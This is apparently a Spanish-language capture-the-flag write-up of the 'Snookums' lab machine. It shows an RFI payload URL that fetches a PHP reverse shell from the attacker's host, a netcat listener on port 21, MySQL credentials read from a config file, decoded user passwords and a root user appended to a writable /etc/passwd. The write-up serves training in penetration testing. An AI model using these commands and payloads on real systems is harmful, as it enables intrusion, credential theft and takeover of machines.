Salta el contingut

Snookums

Objetivo: 192.168.236.58

1. Enumeración y Hallazgo Inicial

Comencé escaneando el objetivo con nmap y detecté un servicio web en el puerto 80. Al navegar por el sitio, identifiqué una instancia de SimplePHPGal v0.7. Al investigar exploits conocidos, encontré que el parámetro img en el archivo image.php es vulnerable a Remote File Inclusion (RFI).

Para confirmarlo, levanté un servidor HTTP en mi máquina (192.168.45.195) y verifiqué que podía incluir archivos remotos.

2. El Desafío del Firewall (Shell por Puerto 21)

Preparé una reverse shell en PHP configurada para conectar de vuelta a mi IP. Sin embargo, me topé con un muro: el firewall de salida de la víctima bloqueaba casi todos los puertos. Tras varias pruebas de conexión, descubrí que solo el puerto 21 (FTP) estaba permitido.

Modifiqué mi shell para usar el puerto 21.

Preparé mi escucha en Kali:

sudo rlwrap nc -lnvp 21

Ejecuté el exploit:

http://192.168.236.58/image.php?img=http://192.168.45.195/shell.php

¡Éxito! Obtuve acceso inicial como el usuario www-data.

3. Exfiltración de la Base de Datos

Una vez dentro, navegué hasta el directorio raíz del servidor web (/var/www/html) y encontré el archivo de configuración db.php. Al leerlo, obtuve las credenciales de MySQL:

  • Usuario: root
  • Contraseña: MalapropDoffUtilize1337

Accedí a la base de datos localmente:

mysql -u root -pMalapropDoffUtilize1337 -e "USE SimplePHPGal; SELECT * FROM users;"

4. Rompiendo el Cifrado (Doble Base64)

La tabla de usuarios me dio tres hashes sospechosos. Identifiqué que estaban codificados en Base64 doble. Procedí a decodificarlos manualmente para obtener las contraseñas reales:

  • josh: MobilizeHissSeedtime747
  • michael: HockSydneyCertify123
  • serena: OverallCrestLean000

5. Movimiento Lateral

Revisé el archivo /etc/passwd y confirmé que michael era el único de esos tres con una cuenta real en el sistema operativo. Estabilicé mi shell con Python:

python -c 'import pty; pty.spawn("/bin/bash")'

Y realicé un cambio de usuario: su michael (usando su contraseña decodificada).

6. Escalada de Privilegios: El error en /etc/passwd

Intenté usar sudo -l, pero Michael no tenía permisos. Fue entonces cuando realicé una auditoría de archivos y encontré una vulnerabilidad crítica: el archivo /etc/passwd era escribible por cualquier usuario.

Para obtener acceso de root, decidí inyectar un nuevo usuario con privilegios de superusuario:

Generé el hash de una contraseña en mi Kali:

openssl passwd -1 -salt password password
# Hash: $1$password$Da2mWXlxe6J7jtww12SNG/

Inyecté el usuario owned directamente en el servidor víctima:

echo 'owned:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:owned:/root:/bin/bash' >> /etc/passwd

Cambié al nuevo usuario: su owned (Contraseña: password).

7. Conclusión

Al convertirme en el usuario owned con UID 0, logré el control total de la infraestructura. Pude navegar hasta /root y leer la bandera de victoria proof.txt.

Resumen de Hallazgos

  • Vulnerabilidad Web: RFI (Severidad Crítica).
  • Configuración de Red: Egress filtering débil (Permitía puerto 21).
  • Criptografía: Almacenamiento de contraseñas con ofuscación débil (Doble Base64).
  • Escalada de Privilegios: Permisos incorrectos en archivos del sistema (/etc/passwd).